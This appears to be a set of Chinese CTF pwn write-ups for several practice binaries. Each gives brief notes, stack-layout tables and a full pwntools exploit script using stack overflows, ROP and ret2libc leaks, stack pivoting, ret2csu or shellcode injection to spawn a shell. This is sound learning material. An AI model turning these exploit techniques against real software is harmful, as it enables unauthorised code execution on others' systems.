PicoCTF_2018_rop_chain
- 函数参数劫持
- 整数型绕过
\x00
绕过len()
- 函数
vuln
中存在栈溢出
flag
是后门函数,只要满足win1 && win2
和a1 = 0xDEADBAAD
就可以得到flag
3.win1 & win2
存在于.bss
段上,但是可以利用win_function1 & win_function2
两个函数构造
win1
win2
from pwn import *
#context.log_level = 'debug'
#io = gdb.debug('./PicoCTF_2018_rop_chain','break *080485CB')
io = process('./PicoCTF_2018_rop_chain')
offset = 0x18+4
elf = ELF('./PicoCTF_2018_rop_chain')
payload1 = b'A'*offset+p32(elf.sym['win_function1'])+p32(elf.sym['win_function2'])+p32(elf.sym['flag'])+p32(0xBAAAAAAD)+p32(0xDEADBAAD)
#溢出专跳到`win_function1`初始化win1,再到`win_function2`同时传入覆盖`win_function2`的参数a,最后跳转到`flag`函数相同操作
io.sendlineafter(b'Enter your input>',payload1)
io.interactive()
pwn2_sctf_2016
lib
地址泄露
vuln()
-
程序对输入的
v2
做了限制首先要利用整数绕过if (v2 > 32)
的限制 -
程序中没有现成的
shell
所以要通过printf
泄露lib
手动构造shell
from pwn import * context.log_level = 'debug' io = process('./pwn2_sctf_2016') #io = gdb.debug('./pwn2_sctf_2016','break *vuln') elf = ELF('./pwn2_sctf_2016') Lib = ELF('/lib/i386-linux-gnu/libc.so.6') printf_got = elf.got['printf'] printf_plt = elf.plt['printf'] vuln_addr = elf.sym['vuln'] main_addr = elf.sym['main'] offset =48 #1.绕过限制 io.sendlineafter('How many bytes do you want me to read?',b'-1') #2.泄露lib payload1 = b'A'*offset+p32(printf_plt)+p32(vuln_addr)+p32(printf_got) io.sendlineafter(b'data!\n',payload1) io.recvuntil('\n') a = io.recv(4) printf_addr = u32(a) print('lib->',hex(printf_addr)) #3.构造shell baseoffset = printf_addr - Lib.symbols['printf'] sys_addr = Lib.sym['system']+baseoffset shell_addr = baseoffset+next(Lib.search(b'/bin/sh')) io.sendlineafter(b'read?',b'-1') payload2 = b'A'*offset+p32(sys_addr)+p32(main_addr)+p32(shell_addr) io.recvuntil(b'data!\n') io.sendline(payload2) io.interactive()
ciscn_2019_es_2
- 栈迁移
read()
存在溢出,但是只有0x30
个位置不能拿到shell,所以考虑栈迁移- 通过泄露参数
s
在栈上的位置,将payload
写入栈上 - 迁移栈到参数
s
的位置,运行写入的payload
拿到shell
leaved =>
mov esp,ebp
pop ebp
#清除栈帧,初始化到执行前的样子
ret =>
pop eip
jmp
#相当于一个无条件转跳
泄露出
s
在栈上的偏移地址
完成栈迁移
from pwn import *
#context.log_level = 'debug'
io = process('./ciscn_2019_es_2')
#io = gdb.debug('./ciscn_2019_es_2','break *vul')
elf = ELF('./ciscn_2019_es_2')
printf_plt = elf.plt['printf']
printf_got = elf.got['printf']
offset = 0x28
payload1 = b'A'*offset
io.sendafter(b"Welcome, my friend. What's your name?\n",payload1)
io.recvuntil(b'Hello,')
io.recvuntil(b'A'*0x28)
old_ebp = u32(io.recv(4))
s_addr = ebp_addr = old_ebp-0x10-offset
print('old_ebp -> ',hex(old_ebp))
print('s_addr -> ',hex(ebp_addr))
#pause()
payload2 = p32(0)+p32(elf.plt['system'])+p32(0)+p32(s_addr+0x10)+b'/bin/sh\x00' #`\x00`截断
#32位程序中参数在函数的后0x10位置,所以填充p32(0)
payload2 = payload2.ljust(0x28,b'A')
payload2 += p32(s_addr)+p32(0x08048562) #填充满栈空间,用p32(s_addr)+p32(0x08048562)劫持`leave`完成迁移并填充上新的`leave&ret`
io.send(payload2)
io.interactive()
ciscn_2019_s_3
-
ret2csu
在
64
位程序中可以通过栈溢出控制__lib_csu_init
中的参数来控制rdx,rsi,edi
寄存器 -
64
位函数传入的参数依次存在寄存器rdi,rsi,rdx (顺序从左到右)
,返回值存在rax
中 -
syscall
函数会根据rax
的值来调用函数,例如当rax==0x3B
时,运行execute
-
栈地址泄露
-
ROPgadgets
1.read
中存在溢出
2.泄露buf
的地址写入/bin/sh
3.通过ROPgadgets得到控制寄存器的地址
4.最后通过ret2csu
和syscall
构造出excuse('/bin/sh',0,0)
得到shell
ret2csu思路:
-
首先跳转到
pop rbx
的位置(csu_end)
,控制一系列寄存器,根据代码可知r13 -> rdx ; r14 -> rsi ; r15 -> edi
-
再
retn
到mov rdx,r13
的位置(csu_font)
,这里要注意存在call
函数,同时,要满足cmp rbx,rbp
即$rbx-$rbp==0
才继续运行,为了满足条件我们需要在第$1$步中提前布局 -
运行
loc_400596
的代码,add rsp,8
抬高了栈顶,所以我们填充栈的时候也要注意多填充8
个位置,接着是常规的填充,根据需要,不需要则全部填充为0xdeadbeef
直到retn
回到程序流
泄露栈地址后第二次栈布局如下
rbp | |||||
---|---|---|---|---|---|
0x10 | padding | 开头为b"/bin/sh\x00"=>buf_addr | |||
0x18 | ret | 0x000000000040059A | csu_end | ||
0x20 | 0 | rbx | |||
0x28 | 1 | rbp | |||
0x30 | r12 | bufaddr+0x10 | call的参数 | ||
0x38 | 0 | r13 | => rdx | ||
0x40 | 0 | r14 | => rsi | ||
0x48 | 0 | r15 | => edi | ||
0x50 | retn | 0x0000000000400580 | 2csu_font | ||
0x58 | 0xdeadbeef | rsp,8 | |||
0x60 | rsp | 0xdeadbeef | rbx | ||
0x68 | 0xdeadbeef | rbp | |||
0x70 | 0xdeadbeef | r12 | |||
0x78 | 0xdeadbeef | r13 | |||
0x80 | 0xdeadbeef | r14 | |||
0x88 | 0xdeadbeef | r15 | |||
0x90 | ret | 0x00000000004004E2 | rax = 0x3B | ||
0x98 | retn | 0x00000000004005a3 | pop_rdi_addr | ||
0x100 | ret | 0x0000000000400517 | syscall |
from pwn import *
context.log_level = 'debug'
io = process('./ciscn_s_3')
#io = gdb.debug('./ciscn_s_3','break *0x00000000004004E2')
elf = ELF('./ciscn_s_3')
padding = 0x10
payload1 = b'A'*padding+p64(elf.sym['vuln'])
io.send(payload1)
io.recv(0x20) #这个偏移主要是gdb看出来的
ebp_addr = u64(io.recv(8))
#print('ebp_addr',hex(ebp_addr))
buf_addr = ebp_addr-0x148 #buu改成-0x118
#print('buf_addr ->',hex(buf_addr))
payload2 =b'/bin/sh\x00'
payload2 = payload2.ljust(0x10,b'\x00')
payload2 += p64(0x000000000040059A)+p64(0)+p64(1)+p64(buf_addr+0x10)+p64(0)+p64(0)+p64(0)+p64(0x0000000000400580)
payload2 += p64(0xdeadbeef)*5+p64(0x00000000004004E2)+p64(0x00000000004005a3)+p64(buf_addr)+p64(0x0000000000400517)
io.send(payload2)
io.interactive()
主要一步步动态调试,理解程序控制流.
ciscn_2019_n_5
- ret2shellcode
- libc泄露
- 程序没有开启
NX
保护,并且是RWX
权限可以运行段上代码 - 预期解:往
name
中写入shellcode
,再利用get
转跳到相应的.bss
段上运行shellcode
- 非预期解:通过
get
泄露puts()
地址,泄露libc
地址,劫持程序流得到shell
.注意这里64
位($rdi)
和32
位程序传参的不同.
from pwn import*
context(log_level = 'debug', arch = 'amd64', os = 'linux')
shellcode=asm(shellcraft.sh())
p=process('./ciscn_2019_n_5')
p.recvuntil(b'name\n')
p.sendline(shellcode)
p.recvuntil(b'me?\n')
name=0x601080
payload=b'a'*0x28+p64(name)
p.sendline(payload)
p.interactive()
from pwn import *
#io = gdb.debug('./ciscn_2019_n_5','b *0x40067a')
context.log_level = 'debug'
io = process('./ciscn_2019_n_5')
#io = gdb.debug('./ciscn_2019_n_5','b main')
elf = ELF('./ciscn_2019_n_5')
Lib = ELF('/lib/x86_64-linux-gnu/libc.so.6')
padding = 0x20
#泄露libc
io.sendlineafter('tell me your name\n',b'1')
#padding+pop_rdi+puts_got+puts_plt+main_addr
payload1 = b'A'*0x28+p64(0x0000000000400713)+p64(elf.got['puts'])+p64(elf.plt['puts'])+p64(elf.sym['main'])
io.sendlineafter('What do you want to say to me?\n',payload1)
puts_addr = u64(io.recv(6).ljust(8,b'\x00'))
print('puts_addr ->',hex(puts_addr))
io.sendlineafter('tell me your name\n',b'1')
#payload构造
Liboffset = puts_addr-Lib.sym['puts']
sys_addr = Lib.sym['system']+Liboffset
bin_sh_addr = next(Lib.search(b'/bin/sh'))+Liboffset
payload2 = b'A'*(0x28)+p64(0x0000000000400713)+p64(bin_sh_addr)+p64(0x00000000004004c9)+p64(sys_addr)
io.sendlineafter('What do you want to say to me?\n',payload2)
io.interactive()
ciscn_2019_ne_5
-
32
位ROP
劫持 -
程序逻辑
-
/bin/sh
的替代方案sh
-
栈上覆盖
-
ROPgadgets
查找字符串GetFlag函数
1.
GetFlag
函数中把先前AddLog
中加入的src
变量赋给了dest
,这里存在溢出2.
Print
函数中有system
函数,通过plt_system
利用3.通过
ROPgadgets
得到sh
字符串构造payload
得到shell
bamuwe@qianenzhao:~/done/ciscn_2019_ne_5$ ROPgadget --binary ciscn_2019_ne_5 --string 'sh'
Strings information
============================================================
0x080482ea : sh
administer | ||||
---|---|---|---|---|
1 | ||||
payload1 | padding | 0x4C | dest | |
(padding+leave) | ||||
system_plt_addr | ret | system | ||
0xdeadbeef | ||||
sh | 0x080482ea |
from pwn import *
context.log_level = 'debug'
elf = ELF('./ciscn_2019_ne_5')
io = process('./ciscn_2019_ne_5')
#io = gdb.debug('./ciscn_2019_ne_5','break *080486C7')
io.sendlineafter(b'Please input admin password:',b'administrator')
io.sendlineafter(b':\n',b'1')
payload1 = b'A'*0x4C+p32(elf.sym['system'])+p32(0xdeadbeef)+p32(0x080482ea) #不能用p32(0)替代p32(deadbeef)
io.sendlineafter(b'Please input new log info:',payload1)
io.sendlineafter(b':\n',b'4')
io.interactive()
bjdctf_2020_babyrop
-
64
位泄露libc
-
vuln
的buf
变量存在溢出 -
64
位函数传入的参数依次存在寄存器rdi,rsi,rdx (顺序从左到右)
,返回值存在rax
中bamuwe@qianenzhao:~/done/bjdctf_2020_babyrop$ ROPgadget --binary bjdctf_2020_babyrop --only 'pop|ret'|grep rdi 0x0000000000400733 : pop rdi ; ret
- 溢出泄露
libc
- 构造
payload
拿到shell
- 溢出泄露
rbp | ||||
---|---|---|---|---|
padding | 0x20 | |||
leave | 0x8 | |||
pop_rdi | ret | 0x0000000000400733 | ||
puts_got | pop rdi | |||
puts_plt | ret | |||
main_addr | ret |
payload1
rbp | ||||
---|---|---|---|---|
padding | 0x20 | |||
leave | 0x8 | |||
pop_rdi | ret | 0x0000000000400733 | ||
/bin/sh` | pop rdi | |||
system | ret |
payload2
from pwn import *
from LibcSearcher import LibcSearcher
io = process('./bjdctf_2020_babyrop')
#io = remote('node4.buuoj.cn',29488)
elf = ELF('./bjdctf_2020_babyrop')
payload1 = b'A'*0x28+p64(0x0000000000400733)+p64(elf.got['puts'])+p64(elf.plt['puts'])+p64(elf.sym['main'])
io.sendlineafter(b'Pull up your sword and tell me u story!\n',payload1)
puts_addr = u64(io.recv(6).ljust(8,b'\x00'))
print('puts_addr->',hex(puts_addr))
Lib = LibcSearcher('puts',puts_addr)
baseoffset = puts_addr - Lib.dump('puts')
sys_addr = baseoffset + Lib.dump('system')
bin_sh_addr = baseoffset + Lib.dump('str_bin_sh')
payload2 = b'A'*0x28+p64(0x0000000000400733)+p64(bin_sh_addr)+p64(sys_addr)
io.sendlineafter(b'Pull up your sword and tell me u story!\n',payload2)
io.interactive()
jarvisoj_level3
-
函数参数劫持
-
32
位泄露libc
32
位程序的传参是栈的后四位开始,要注意的是,32
位下write,put
的ret
位置是紧跟函数后面的payload1 = b'A'*(0x88+0x4)+p32(elf.plt['write'])+p32(elf.sym['main'])+p32(1)+p32(elf.got['write'])+p32(4)
这段代码中的p32(elf.sym['main'])就是ret,同时满足填充栈,传入参数
rbp | |||
---|---|---|---|
padding | 0x88 | ||
leave | 0x4 | ||
write_plt | ret | ||
main_addr | ret_l | 返回的地址 | |
0x1 | arg1 | ||
wirte_got | arg2 | ||
0x4 | arg3 |
payload1
rbp | |||
---|---|---|---|
padding | 0x88 | ||
leave | 0x4 | ||
system_addr | ret | ||
0xdeadbeef | |||
bin_sh_addr | aeg1 |
payload2
from pwn import *
#context.log_level = 'debug'
io = process('./level3')
#io = gdb.debug('./level3','break main')
elf = ELF('./level3')
Lib = ELF('/lib/i386-linux-gnu/libc.so.6')
payload1 = b'A'*(0x88+0x4)+p32(elf.plt['write'])+p32(elf.sym['main'])+p32(1)+p32(elf.got['write'])+p32(4)
io.sendline(payload1)
io.recvuntil('Input:\n')
write_addr = u32(io.recv(4))
print('write_addr->',hex(write_addr))
baseoffset = write_addr - Lib.sym['write']
sys_addr = baseoffset + Lib.sym['system']
bin_sh_addr = baseoffset + next(Lib.search(b'/bin/sh'))
payload2 = b'A'*(0x88+0x4)+p32(sys_addr)+p32(0xdeadbeef)+p32(bin_sh_addr)
io.sendlineafter(b'Input:\n',payload2)
io.interactive()
铁人三项(第五赛区)_2018_rop
-
函数参数劫持
-
32
位泄露libc
from pwn import *
context.log_level = 'debug'
#io = gdb.debug('./2018_rop','break *0x8048474')
io = process('./2018_rop')
elf = ELF('./2018_rop')
Lib = ELF('/lib/i386-linux-gnu/libc.so.6')
padding = 0x88
payload1 = b'A'*(padding+0x4)+p32(elf.plt['write'])+p32(elf.sym['main'])+p32(1)+p32(elf.got['write'])+p32(4)
io.sendline(payload1)
write_addr = u32(io.recv(4))
print('write_addr -> ',hex(write_addr))
Liboffset = write_addr - Lib.sym['write']
sys_addr = Liboffset + Lib.sym['system']
bin_sh_addr = next(Lib.search(b'/bin/sh'))+Liboffset
payload2 = b'A'*(padding+0x4)+p32(sys_addr)+p32(0xdeadbeef)+p32(bin_sh_addr)
io.sendline(payload2)
io.interactive()
ez_pz_hackover_2016
bamuwe@qianenzhao:~$ checksec ez_pz_hackover_2016
[*] '/home/bamuwe/ez_pz_hackover_2016'
Arch: i386-32-little
RELRO: Full RELRO
Stack: No canary found
NX: NX unknown - GNU_STACK missing
PIE: No PIE (0x8048000)
Stack: Executable
RWX: Has RWX segments
- 逻辑绕过
\x00
阶段- 动态调试计算栈空间
ret2shellcode
- 栈保护全关,考虑
ret2shellcode
- 通过
\x00
绕过前置验证,进入vuln
函数 vuln
函数中,会把&src
赋值给dest
这其中存在漏洞
正常思路这里就可以构造payload
了,但是这里ida
分析出来的dest
栈空间为0x32
与实际不符合,我们需要动态调试手动查看栈空间
停在
nop
处查看栈
手动查找得到栈实际空间为
0x1a
distance计算栈之间的距离
from pwn import *
context.log_level = 'debug'
#io = process('./ez_pz_hackover_2016')
io = gdb.debug('./ez_pz_hackover_2016','break vuln')
elf = ELF('./ez_pz_hackover_2016')
io.recvuntil(b'Yippie, lets crash: ')
s_addr = int(io.recv(10),16)
print('s_addr',hex(s_addr))
payload1 = b'crashme\x00'
payload1 = payload1.ljust(0x1a,b'A')
payload1 += p32(s_addr-0x1c)+asm(shellcraft.sh())
io.sendlineafter('> ',payload1)
io.interactive()
s
栈上的空间写不下shellcode
所以直接把shellcode
写在ret
地址之后.
?这里的
s_addr
为什么要-0x1c
还不了解,偏移后的位置正好是一个输入的栈的起始但为什么是这个值还不清楚.
这道题应该也可以通过泄露Libc的方式做,但是没有成功